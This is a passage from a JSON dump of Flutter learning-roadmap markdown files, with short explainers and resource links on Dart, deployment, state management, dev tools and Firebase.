    "content": "# Dart Basics\n\nDart is an open-source, general-purpose, object-oriented programming language with C-style syntax developed by Google in 2011. The purpose of Dart programming is to create a frontend user interfaces for the web and mobile apps. It can also be used to build server and desktop applications.\n\nVisit the following resources to learn more:\n\n- [@official@Dart Overview](https://dart.dev/overview)\n- [@video@What is Dart?](https://www.youtube.com/watch?v=sOSd6G1qXoY)\n- [@video@Dart in 100 Seconds](https://www.youtube.com/watch?v=NrO0CJCbYLA)\n- [@feed@Explore top posts about Dart](https://app.daily.dev/tags/dart?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/dart-basics/operators.md",
    "content": "# Operators\n\nFlutter, and Dart, utilize various operators to manipulate data: arithmetic operators for math, relational operators for comparisons, logical operators for boolean logic, assignment operators for value assignment, and the ternary operator for concise conditional expressions, enabling diverse operations on values and variables.\n\nVisit the following resources to learn more:\n\n- [@official@Operators](https://dart.dev/guides/language/language-tour#operators)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/dart-basics/variables.md",
    "content": "# Variables\n\nIn Flutter, variables are used to store values. There are three types of variables in Flutter namely local, global and instance variables.Variables in Flutter can store values of different data types, such as numbers, strings, booleans, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Variables](https://dart.dev/guides/language/language-tour#variables)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/deployment/appstore.md",
    "content": "# Appstore\n\nApp Store is an important platform to consider when publishing Flutter apps. To publish an app on the App Store, developers need to have a developer account with Apple, which requires an annual fee.\n\nTo publish a Flutter app on the App Store, developers need to ensure that their app meets Apple's guidelines and requirements, which include guidelines for performance, design, and user experience. Once the app has been reviewed and approved by Apple, it can be published on the App Store and made available for download to iOS users.\n\nVisit the following resources to learn more:\n\n- [@official@Build and Release an iOS App](https://docs.flutter.dev/deployment/ios)\n- [@article@App Store App Review](https://developer.apple.com/app-store/review/)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/deployment/guidelines-and-protocols.md",
    "content": "# Guidelines and Protocols\n\nGuidelines and protocols are important considerations for Flutter developers as they help to ensure that apps are built in a consistent, reliable, and user-friendly manner. Some of the key guidelines and protocols to consider when developing a Flutter app include:\n\n- Flutter Widget\n- Dart Style\n- Material Design\n- Apple Human Interface\n- Google Play Developer Policy Center\n- App Store Review\n\nBy following these guidelines and protocols, Flutter developers can ensure that their apps are well-designed, user-friendly, and secure, making it easier to attract and retain users.\n\nVisit the following resources to learn more:\n\n- [@article@Flutter - Protocols](https://api.flutter.dev/objcdoc/Protocols.html)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/deployment/index.md",
    "content": "# Deployment\n\nDeployment in Flutter refers to the process of releasing a Flutter app to end-users. Deploying a Flutter app involves a combination of technical skills and experience, as well as knowledge of the relevant app stores and their policies and requirements.\n\nVisit the following resources to learn more:\n\n- [@official@Web Deployment](https://dart.dev/web/deployment)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/deployment/playstore.md",
    "content": "# Playstore\n\nThe Google Play Store is an online store for Android apps, games, and other digital content. It is operated by Google and is the official app store for Android devices.\n\nVisit the following resources to learn more:\n\n- [@official@Build and Release an Android App](https://docs.flutter.dev/deployment/android)\n- [@article@Publish your App - Android Developer](https://developer.android.com/studio/publish)\n- [@article@Publishing Flutter App To PlayStore](https://medium.flutterdevs.com/publishing-flutter-app-to-playstore-fa7543b61a7b)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/design-principles/dependency-injection.md",
    "content": "# Dependency Injection\n\nDependency Injection is a design pattern that allows objects to receive their dependencies from external sources instead of creating them internally. In Flutter, this can be useful for managing complex state, reducing coupling between components, and making testing easier.\n\nLearn more from the following links:\n\n- [@article@Dependency Injection](https://docs.flutter.dev/app-architecture/case-study/dependency-injection)\n- [@article@Dependency Injection In Flutter](https://medium.com/flutter-community/dependency-injection-in-flutter-f19fb66a0740)\n- [@video@Flutter Dependency Injection For Beginners](https://www.youtube.com/watch?v=vBT-FhgMaWM)\n- [@feed@Explore top posts about Dependency Injection](https://app.daily.dev/tags/dependency-injection?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/design-principles/design-patterns.md",
    "content": "# Design Patterns\n\nDesign patterns are solutions to common problems in software development that can be used to improve the quality and maintainability of your code.\n\nLearn more from the following links:\n\n- [@article@Flutter - Design](https://dart.dev/guides/language/effective-dart/design)\n- [@video@Design Patterns Explained in 10 Minutes](https://www.youtube.com/watch?v=tv-_1er1mWI)\n- [@article@Cookbook Designs in Flutter](https://docs.flutter.dev/cookbook/design)\n- [@feed@Explore top posts about Design Patterns](https://app.daily.dev/tags/design-patterns?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/design-principles/index.md",
    "content": "# Design Principles\n\nFlutter development emphasizes design principles like Material Design, responsiveness, user-centeredness, simplicity, consistency, accessibility, and performance to create visually appealing and user-friendly applications that function seamlessly across various devices and cater to diverse user needs.\n\nLearn more from the following:\n\n- [@article@Design - Principles](https://docs.flutter.dev/cookbook/design)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/design-principles/oop.md",
    "content": "# OOP\n\nObject-oriented programming (OOP) is a programming paradigm that is based on the concept of \"objects,\" which are instances of a class. In OOP, a class is a blueprint for creating objects, which have both data (attributes) and behavior (methods). The main idea behind OOP is to model real-world objects and their interactions, making it well-suited for creating complex and large-scale software systems.\n\nLearn more from the following links:\n\n- [@article@Discover Object Oriented Programming](https://blog.hubspot.com/website/object-oriented-programming)\n- [@video@Software Development Tutorial - What is object-oriented languages?](https://www.youtube.com/watch?app=desktop&v=SS-9y0H3Si8)\n- [@video@Fundamental Concepts of Object Oriented Programming](https://www.youtube.com/watch?v=m_MQYyJpIjg&ab_channel=ComputerScience)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/design-principles/solid-principles.md",
    "content": "# SOLID Principles\n\nSOLID is a mnemonic acronym for five design principles intended to make object-oriented designs more understandable, flexible, and maintainable.\n\nLearn more from the following links:\n\n- [@article@SOLID: The First 5 Principles of Object Oriented Design](https://www.digitalocean.com/community/conceptual-articles/s-o-l-i-d-the-first-five-principles-of-object-oriented-design)\n- [@video@S.O.L.I.D Principles](https://www.youtube.com/watch?v=fvNTJang7l4)\n- [@article@Overview of S.O.L.I.D Principles In Dart](https://medium.flutterdevs.com/s-o-l-i-d-principles-in-dart-e6c0c8d1f8f1)\n- [@article@The S.O.L.I.D Principles in Pictures](https://medium.com/backticks-tildes/the-s-o-l-i-d-principles-in-pictures-b34ce2f1e898)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/dev-tools/flutter-inspector.md",
    "content": "# Flutter Inspector\n\nIt is a tool in the Flutter SDK that provides a visual representation of the widget tree in a Flutter app. It allows developers to inspect the widgets in their app, see the properties and styles applied to each widget, and interact with the app in real-time.\n\nVisit the following resources to learn more:\n\n- [@official@Using the Flutter Inspector](https://docs.flutter.dev/development/tools/devtools/inspector)\n- [@video@How to Use the Flutter Inspector](https://www.youtube.com/watch?v=CcLfGJZS8ns)\n- [@feed@Explore top posts about Flutter](https://app.daily.dev/tags/flutter?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/dev-tools/flutter-outline.md",
    "content": "# Flutter Outline\n\nFlutter Outline is a feature in the Flutter development environment (IDE) that provides a tree-like representation of the widgets and elements in your Flutter app. It shows the hierarchy of the widgets, their relationships, and the structure of your app.\n\nVisit the following resources to learn more:\n\n- [@official@Flutter Widget Tree](https://docs.flutter.dev/tools/devtools/inspector#flutter-widget-tree)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/dev-tools/index.md",
    "content": "# Dev Tools\n\nFlutter DevTools is a suite of development tools provided by Flutter to help developers build, test, and debug Flutter apps.\n\nLearn more from the following resources:\n\n- [@official@Flutter - DevTools](https://docs.flutter.dev/development/tools/devtools/overview)\n- [@official@Dart DevTools](https://dart.dev/tools/dart-devtools)\n- [@feed@Explore top posts about Tools](https://app.daily.dev/tags/tools?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/dev-tools/memory-allocation.md",
    "content": "# Memory Allocation\n\nMemory allocation is the process of reserving a portion of the device's memory for the use of your app. The memory allocation in Flutter is managed by the Dart virtual machine, which uses a garbage collector to automatically manage the memory used by the app.\n\nVisit the following resources to learn more:\n\n- [@official@Using the Memory view](https://docs.flutter.dev/development/tools/devtools/memory)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/flutter-internals/3-trees.md",
    "content": "# Trees\n\nA tree is a data structure that is used to represent the hierarchy of widgets in a Flutter app. The tree structure allows Flutter to manage the layout, styling, and behavior of the widgets in the app.\n\nVisit the following resources to learn more:\n\n- [@official@Tree in Flutter](https://docs.flutter.dev/resources/inside-flutter#tree-surgery)\n- [@article@Beginning Flutter — Understanding Tree](https://medium.com/@JediPixels/beginning-flutter-understanding-the-widget-tree-3513c94dc356)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/flutter-internals/immutability.md",
    "content": "# Immutability\n\nImmutability in Flutter refers to objects that cannot be changed once they are created. In Flutter, immutability is used to ensure that objects in the widget tree are not modified unexpectedly, which can lead to unexpected behavior and bugs in the app.\n\nVisit the following resources to learn more:\n\n- [@article@Immutable Data in Flutter](https://dart.academy/immutable-data-patterns-in-dart-and-flutter/)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/flutter-internals/index.md",
    "content": "# Flutter Internals\n\nThe internal workings of Flutter refer to the underlying mechanisms and architecture that make up the Flutter framework. Flutter is a reactive framework for building user interfaces, which means that it allows developers to build dynamic, responsive apps that update automatically in response to changes in the state of the app.\n\nVisit the following resources to learn more:\n\n- [@article@Flutter - Internals](https://www.didierboelens.com/2019/09/flutter-internals/)\n- [@article@Overview of Flutter Internals](https://flutter.megathink.com/)\n- [@video@Flutter and Dart | Widget & Flutter Internals](https://www.youtube.com/watch?v=FBXMvOmiOLE)\n- [@feed@Explore top posts about Flutter](https://app.daily.dev/tags/flutter?ref=roadmapsh)\n- [@article@A Guide To Flutter Internals](https://medium.com/@subroto.2003/a-guide-to-flutter-internals-ce8d64d01c50)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/flutter-internals/render-objects.md",
    "content": "# Render Objects\n\nRenderObject's can be defined as \"Objects\" that render and manipulate layouts, sizes and draw the UI, providing the actual application rendering. They clean up some resources when dispose method is called, therefore it must be disposed by creator when is no longer used.\n\nVisit the following resources to learn more:\n\n- [@official@RenderObject Documentation](https://api.flutter.dev/flutter/rendering/RenderObject-class.html)\n- [@article@Get started with RenderObjects - Flutter](https://jasper-dev.hashnode.dev/getting-started-with-renderobjects-in-flutter)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/package-manager/flutter-pub-dart-pub.md",
    "content": "# Flutter pub dart pub\n\n`pub` is the package manager for Dart and Flutter, used for managing dependencies and publishing packages.\n\n`pub` is used to manage both Dart packages and Flutter plugins. This makes it easy to find and use packages that extend the functionality of your Flutter application.\n\n`pub` is an essential tool for Dart and Flutter development, providing a centralized repository for packages, making it easier to find, install, and manage dependencies in your projects.\n\nLearn more from the following links:\n\n- [@official@Overview of Dart pub](https://dart.dev/tools/pub/cmd)\n- [@feed@Explore top posts about Dart](https://app.daily.dev/tags/dart?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/package-manager/index.md",
    "content": "# Package Manager\n\nThe package manager for Flutter is called pub. It is used to manage Flutter projects' dependencies and publish Flutter packages. It is included with the Flutter SDK and can be run from the command line using the `pub` command.\n\nVisit the following resources to learn more:\n\n- [@official@Packages and Plugins](https://docs.flutter.dev/development/packages-and-plugins)\n- [@video@Dart Package Manager (pub.dev) in Flutter](https://www.youtube.com/watch?v=F1VRO0_MKLs)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/package-manager/pub-dev.md",
    "content": "# pub.dev\n\n`pub.dev` is the official package repository for Dart and Flutter packages. It is a platform for hosting, managing, and distributing Dart packages and Flutter plugins. Developers can use `pub.dev` to search for packages, find information about packages, and install packages in their Flutter projects.\n\nVisit the following resources to learn more:\n\n- [@official@pub.dev](https://pub.dev/)\n- [@official@Using packages](https://docs.flutter.dev/development/packages-and-plugins/using-packages)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/reactive-programming/index.md",
    "content": "# Reactive Programming\n\nReactive programming is a programming paradigm that allows for handling changing data streams and updating the UI based on those changes.\n\nReactive programming in Flutter helps create dynamic and responsive apps that can handle changing data and update the UI accordingly. The `StreamBuilder` and `FutureBuilder` widgets are commonly used in Flutter to build reactive UIs.\n\nLearn more from the following links:\n\n- [@article@Get Started with Reactive Programming](https://www.didierboelens.com/2018/12/reactive-programming-streams-bloc-practical-use-cases/)\n- [@video@Reactive Programming in Flutter](https://www.youtube.com/watch?v=x4FKXw4Uvls)\n- [@feed@Explore top posts about Reactive Programming](https://app.daily.dev/tags/reactive-programming?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/reactive-programming/rxdart.md",
    "content": "# RxDart\n\nRxDart is a library for Dart that provides additional functionality for working with reactive programming, specifically with the Streams and Observables classes. It extends the standard Dart Streams API and provides additional features such as the ability to transform and combine streams, and to compose and chain streams together. In Flutter, RxDart is commonly used to handle asynchronous data streams and user interactions in a more efficient and elegant way.\n\nLearn more from the following links:\n\n- [@official@RxDart Documentation](https://pub.dev/documentation/rxdart/latest)\n- [@article@Overview of RxDart in Flutter](https://docs.flutter.dev/development/data-and-backend/state-mgmt/options#bloc--rx)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/repo-hosting-services/github.md",
    "content": "# GitHub\n\nGitHub is a web-based platform that provides hosting for software development and version control using Git. It is widely used by developers and organizations around the world to manage and collaborate on software projects.\n\nLearn more from the following resources:\n\n- [@roadmap@Visit Dedicated GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub](https://github.com)\n- [@official@GitHub Documentation](https://docs.github.com/en/get-started/quickstart)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=w3jLJU7DT5E)\n- [@video@Git and GitHub for Beginners - Crash Course](https://www.youtube.com/watch?v=RGOj5yH7evk)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/repo-hosting-services/index.md",
    "content": "# Repo Hosting Services\n\nSeveral popular repository hosting services, including GitHub, GitLab, Bitbucket, AWS CodeCommit, and Azure DevOps, support Flutter development by offering Git repository management, issue tracking, and collaboration tools. When selecting a service, developers should consider factors like project needs, scalability, cost, ease of use, integrations, and third-party tool support to ensure the chosen platform aligns with their specific requirements.\n\nLearn more from the following links:\n\n- [@official@GitHub](https://github.com/)\n- [@official@GitLab](https://gitlab.com/)\n- [@official@Azure](https://azure.microsoft.com/)\n- [@video@Host Flutter Website On GitHub Pages](https://www.youtube.com/watch?v=z-yOqoQ2q6s)\n- [@article@How to Deploy a Flutter Web App?](https://medium.com/solute-labs/flutter-for-web-how-to-deploy-a-flutter-web-app-c7d9db7ced2e)\n- [@article@Deploying - Flutter](https://docs.flutter.dev/deployment/web#deploying-to-the-web)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/setup-development-environment/flutter-cli.md",
    "content": "# Flutter CLI\n\nFlutter CLI (Command Line Interface) is a command-line tool that is used to develop, build, and run Flutter applications. It provides a set of commands and tools that developers can use to create, test, and deploy Flutter apps from the terminal. Some of the common tasks that can be performed using the Flutter CLI include:\n\n- Creating a new Flutter project\n- Running Flutter app on a connected device or emulator\n- Building and deploying Flutter app to app stores\n- Updating the Flutter framework and packages\n- Analyzing the performance of Flutter apps\n\nVisit the following resources to learn more:\n\n- [@official@The Flutter CLI](https://docs.flutter.dev/reference/flutter-cli)\n- [@official@CLI Packages in Flutter](https://dart.dev/server/libraries#command-line-packages)\n- [@official@Get Started with Flutter CLI](https://dart.dev/tutorials/server/get-started)\n- [@feed@Explore top posts about CLI](https://app.daily.dev/tags/cli?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/setup-development-environment/fvm.md",
    "content": "# FVM (Flutter Version Manager)\n\nFlutter version manager is a tool used to manage different versions of Flutter SDK on a developer's machine. Flutter is a popular open-source mobile application development framework, and its SDK is updated frequently with new features, bug fixes, and improvements. However, sometimes developers need to work with older versions of Flutter due to various reasons like compatibility issues or project requirements.\n\nVisit the following resources to learn more:\n\n- [@official@Flutter Version Manager](https://fvm.app/)\n- [@official@Flutter Version Manager - Documentation](https://fvm.app/documentation/getting-started)"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/setup-development-environment/ides/android-studio.md",
    "content": "# Android Studio\n\nAndroid Studio is an IDE that can be used for developing Flutter applications as well as Android apps. Flutter is a UI toolkit for building beautiful, natively compiled applications for mobile, web, and desktop from a single codebase. In Android Studio, developers can use the Flutter plugin to access a suite of tools specifically designed for Flutter development, including:\n\n- Flutter widget inspector\n- Flutter outline\n- Flutter rendering tree\n- Flutter performance tool\n- Flutter layout explorer\n\nBy providing a rich set of tools and features for Flutter development, Android Studio makes it easy for developers to build, test, and debug Flutter apps.\n\nLearn more from the following links:\n\n- [@official@Android Studio for Flutter](https://docs.flutter.dev/development/tools/android-studio)\n- [@official@Get started with Android Studio](https://dart.dev/tools/jetbrains-plugin)\n- [@feed@Explore top posts about Android](https://app.daily.dev/tags/android?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/setup-development-environment/ides/index.md",
    "content": "# IDEs\n\nAn IDE (Integrated Development Environment) is a software application that provides a comprehensive environment for coding, debugging, testing, and deploying software.\n\nThese IDEs provide a variety of features and tools to assist in the development of Flutter apps, including code completion, debugging, testing, and more. Developers can choose the IDE that works best for their needs and preferences.\n\nLearn more from the following links:\n\n- [@article@Setting up and Editor](https://docs.flutter.dev/get-started/editor)\n- [@article@Android Studio and IntelliJ](https://docs.flutter.dev/development/tools/android-studio)\n- [@article@IDEs and editors for Flutter](https://dart.dev/tools#ides-and-editors)\n- [@feed@Explore top posts about DevTools](https://app.daily.dev/tags/devtools?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/setup-development-environment/ides/intellij-idea.md",
    "content": "# IntelliJ IDEA\n\nIntelliJ IDEA is a powerful Integrated Development Environment (IDE) created by JetBrains. Essentially, it's a software application that provides comprehensive facilities to computer programmers for software development.\n\nLearn more from the following:\n\n- [@official@IntelliJ IDEA](https://www.jetbrains.com/idea/)\n- [@article@IntelliJ IDEA for Flutter](https://docs.flutter.dev/development/tools/android-studio)\n- [@article@Get started with IntelliJ](https://dart.dev/tools/jetbrains-plugin)\n- [@feed@Explore top posts about DevTools](https://app.daily.dev/tags/devtools?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/setup-development-environment/ides/vs-code.md",
    "content": "# VS Code\n\nTo use VS Code for Flutter development, you must install the Flutter and Dart plugins for VS Code. These plugins support Flutter-specific features such as syntax highlighting, debugging, and hot reloading.\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/setup-development-environment/index.md",
    "content": "# Setup Development Environment\n\nTo set up a development environment for Flutter, you need to install the following software:\n\n- Flutter SDK: Download and install the latest version of the Flutter SDK from the official website.\n- Integrated Development Environment (IDE): You can use Android Studio, Visual Studio Code, IntelliJ IDEA or any other IDE of your choice.\n- Emulator or a physical device: You can use an emulator or a physical device to run and test your Flutter apps. You can use the Android emulator provided by Android Studio or use a physical Android or iOS device.\n- Git: Git is used for version control and is recommended for Flutter development. You can download and install Git.\n- Dart SDK: Dart is the programming language used by Flutter, and the Dart SDK is required to develop Flutter apps. The Dart SDK is included in the Flutter SDK.\n\nOnce you have installed all the required software, you can create a new Flutter project using the Flutter CLI or your IDE, and start building your app.\n\nLearn more from the following links:\n\n- [@official@Get Started with Flutter](https://docs.flutter.dev/get-started/install)\n- [@official@Installing Dart SDK](https://dart.dev/get-dart)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/state-management/bloc.md",
    "content": "# BloC\n\nBloc (Business Logic Component) is a state management pattern used in Flutter to separate presentation logic from business logic. It helps to manage and maintain the app state, making it easier to test, debug, and reuse code. It uses streams to emit new states and reacts to changes in the state.\n\nLearn more from the following links:\n\n- [@official@BLoC in Flutter](https://docs.flutter.dev/development/data-and-backend/state-mgmt/options#bloc--rx)\n- [@article@Get started with flutter_bloc](https://pub.dev/packages/flutter_bloc)\n- [@article@Flutter bloc for beginners](https://medium.com/flutter-community/flutter-bloc-for-beginners-839e22adb9f5)\n- [@video@Flutter Bloc - Tutorial](https://www.youtube.com/watch?v=Ep6R7U9wa0U)\n- [@video@BLoC Pattern: A Comprehensive Tutorial](https://www.youtube.com/watch?v=Qe47b8r5epc&ab_channel=MaxonFlutter)"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/state-management/change-notifier.md",
    "content": "# Change Notifier\n\nFlutter's ChangeNotifier is a fundamental class for state management in Flutter. It allows developers to handle and notify listeners of data changes, ensuring efficient updates to the user interface. By extending ChangeNotifier, developers can create custom classes to represent specific states or data models. Integrating ChangeNotifier enhances the user experience by managing state and dynamically updating the UI. It simplifies state management and enables the creation of interactive Flutter applications.\n\nVisit the following resources to learn more:\n\n- [@official@ChangeNotifier class - Flutter](https://api.flutter.dev/flutter/foundation/ChangeNotifier-class.html)\n- [@official@Simple app state management](https://docs.flutter.dev/data-and-backend/state-mgmt/simple)"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/state-management/get-x.md",
    "content": "# GetX\n\nGetX is a lightweight and powerful solution for state management and navigation in Flutter. It provides a clean and simple API for managing app state and navigating between screens. GetX makes it easy to create scalable and maintainable apps, as it offers a central place to manage the app's state, reducing the amount of boilerplate code needed. It also provides out-of-the-box support for routing, making it easy to navigate between screens, and it supports hot reloading, which allows developers to see changes in real-time.\n\nLearn more from the following links:\n\n- [@official@GetX in Flutter](https://docs.flutter.dev/development/data-and-backend/state-mgmt/options#getx)\n- [@video@Complete GetX State Management | Flutter](https://www.youtube.com/watch?v=CNpXbeI_slw)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/state-management/index.md",
    "content": "# State Management\n\nState management in Flutter refers to the process of managing and updating the data or state of a Flutter application. In Flutter, the state of the widgets can change dynamically, for example, when a user interacts with the application.\n\nLearn more from the following resources:\n\n- [@official@State Management in Flutter](https://docs.flutter.dev/development/data-and-backend/state-mgmt)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/state-management/provider.md",
    "content": "# Provider\n\nProvider is a wrapper around InheritedWidget (base class for widgets that efficiently propagate information down the tree) to make them easier to use and more reusable.\n\nVisit the following resources to learn more:\n\n- [@official@Provider](https://pub.dev/packages/provider)\n- [@official@Simple App State Management](https://docs.flutter.dev/development/data-and-backend/state-mgmt/simple)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/state-management/redux.md",
    "content": "# ReduX\n\nRedux is a state management library for Flutter, commonly used with the Flutter framework to manage the application's state. It helps to maintain a single source of truth for the state of the application, making it easier to understand, test and maintain the code. In Redux, the state is stored in a store and can only be updated through dispatching actions. The actions trigger the update of the state via reducers, which are pure functions that determine the next state based on the current state and the dispatched action.\n\nVisit the following resources to learn more:\n\n- [@official@flutter\\_redux](https://pub.dev/packages/flutter_redux)\n- [@official@Redux - Tutorial](https://docs.flutter.dev/development/data-and-backend/state-mgmt/options#redux)\n- [@article@Building a Flutter app with Redux](https://hillel.dev/2018/06/01/building-a-large-flutter-app-with-redux/)\n- [@feed@Explore top posts about Redux](https://app.daily.dev/tags/redux?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/state-management/riverpod.md",
    "content": "# Riverpod\n\nRiverpod was created by the same author as Provider, and is designed to make it easier to manage application state by providing a more intuitive API and better performance than Provider.\n\nOne of the key features of Riverpod is its ability to manage and scope state in a more granular way than Provider. This can make it easier to reason about your application's state and can lead to more efficient re-renders.\n\nLearn more from the following links:\n\n- [@official@riverpod](https://pub.dev/packages/riverpod)\n- [@official@Riverpod in Flutter](https://docs.flutter.dev/development/data-and-backend/state-mgmt/options#riverpod)\n- [@official@riverpod Documentation](https://riverpod.dev/)\n- [@article@Documentation v2 is in progress](https://docs-v2.riverpod.dev/)\n- [@article@Flutter Riverpod 2.0: The Ultimate Guide](https://codewithandrea.com/articles/flutter-state-management-riverpod/)"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/state-management/value-notifier.md",
    "content": "# Value Notifier\n\nFlutter's ValueNotifier is a lightweight tool for state management in Flutter. It efficiently handles a single value and notifies listeners of changes. With ValueNotifier, developers can easily track and update specific data, such as counters or user inputs. It simplifies state management and enables dynamic Flutter interfaces.\n\nVisit the following resources to learn more:\n\n- [@official@ValueNotifier Class - Flutter](https://api.flutter.dev/flutter/foundation/ValueNotifier-class.html)\n- [@article@ValuerNotifier & ValueListenableBuilder](https://medium.com/@avnishnishad/flutter-communication-between-widgets-using-valuenotifier-and-valuelistenablebuilder-b51ef627a58b)"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/state-management/velocity-x.md",
    "content": "# VelocityX\n\nVelocityX is a Flutter UI toolkit for building high-performance, visually stunning, and easy-to-use mobile applications. It provides a set of pre-designed widgets, animations, and styles that can be combined to create beautiful and responsive apps quickly. VelocityX also includes features like dark mode, RTL support, and responsive design, making it a comprehensive solution for building modern mobile apps.\n\nLearn more from the following links:\n\n- [@official@Get Started with VelocityX](https://velocityx.dev/)\n- [@article@Intro to velocity_x](https://pub.dev/packages/velocity_x)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/storage/firebase/authentication.md",
    "content": "# Authentication\n\nFirebase Authentication is a service provided by Firebase that allows you to easily add user authentication to your Flutter app. With Firebase Authentication, you can authenticate users using email and password, phone number, or popular identity providers like Google, Facebook, and more.\n\nLearn more from the following links:\n\n- [@official@Make Authenticated Requests](https://docs.flutter.dev/cookbook/networking/authenticated-requests)\n- [@feed@Explore top posts about Authentication](https://app.daily.dev/tags/authentication?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/storage/firebase/cloud-functions.md",
    "content": "# Firebase Cloud Functions\n\nCloud Functions for Firebase is a serverless computing platform that simplifies backend development by allowing developers to write JavaScript or TypeScript code, which runs automatically in response to events from Firebase services or incoming HTTP requests. This framework leverages Google's cloud infrastructure to provide a scalable and managed environment, making it easier to build powerful serverless applications without the need for server maintenance.\n\nLearn more from the following links:\n\n- [@official@Cloud Functions](https://firebase.google.com/docs/functions)\n- [@video@Getting Started with Firebase Cloud Functions](https://youtube.com/playlist?list=PLl-K7zZEsYLkPZHe41m4jfAxUi0JjLgSM\\&si=yx0EwIXxhG2PHRXp)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/storage/firebase/firestore.md",
    "content": "# Firestore\n\nFirebase Firestore is a cloud-based NoSQL document database service provided by Firebase that makes it easy to store, manage, and retrieve data in your Flutter app. Firestore is a flexible, scalable, and easy-to-use database that allows you to store and retrieve data in the form of documents, collections, and fields.\n\nLearn more from the following links:\n\n- [@official@Firebase Firestore](https://firebase.google.com/docs/firestore)\n- [@video@Using Firestore - Flutter](https://www.youtube.com/watch?v=DqJ_KjFzL9I)\n- [@feed@Explore top posts about Firestore](https://app.daily.dev/tags/firestore?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/storage/firebase/index.md",
    "content": "# Firebase\n\nFirebase is a Backend-as-a-Service (BaaS) app development platform that provides hosted backend services such as a realtime database, cloud storage, authentication, crash reporting, machine learning, remote configuration, and hosting for your static files.\n\nVisit the following resources to learn more:\n\n- [@official@Firebase](https://docs.flutter.dev/development/data-and-backend/firebase)\n- [@video@Flutter Firebase Tutorials](https://www.youtube.com/watch?v=agxDK0qmH88\\&list=PLFyjjoCMAPtxS6Cx1XSjCfxOxHQ4_e0sL)\n- [@feed@Explore top posts about Firebase](https://app.daily.dev/tags/firebase?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/storage/firebase/push-notifications.md",
    "content": "# Push Notifications\n\nImplementing Firebase push notifications in Flutter involves setting up a Firebase project, integrating the FCM plugin, handling and displaying incoming notifications within the app, testing through the Firebase Console or tools like Postman, and customizing notification appearance with icons, sounds, and vibration patterns.\n\nLearn more from the following links:\n\n- [@official@How do I Set up Push Notifications?](https://docs.flutter.dev/get-started/flutter-for/android-devs#how-do-i-set-up-push-notifications)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/storage/firebase/remote-config.md",
    "content": "# Remote Config\n\nFirebase Remote Config, accessed in Flutter via the `firebase_remote_config` plugin, enables dynamic app behavior and appearance changes without app updates. This involves adding the plugin, initializing the service, defining default parameter values in the console or code, fetching and retrieving remote parameters, and updating those parameters either through the console or by activating fetched values, allowing for A/B testing and feature control.\n\nLearn more from the following:\n\n- [@official@Remote Config](https://firebase.google.com/docs/remote-config)\n- [@video@Firebase Remote Config](https://www.youtube.com/watch?v=34ExOdNEMXI)\n"
  },
  {
    "path": "src/data/roadmaps/flutter/content-old/storage/firebase/storage.md",
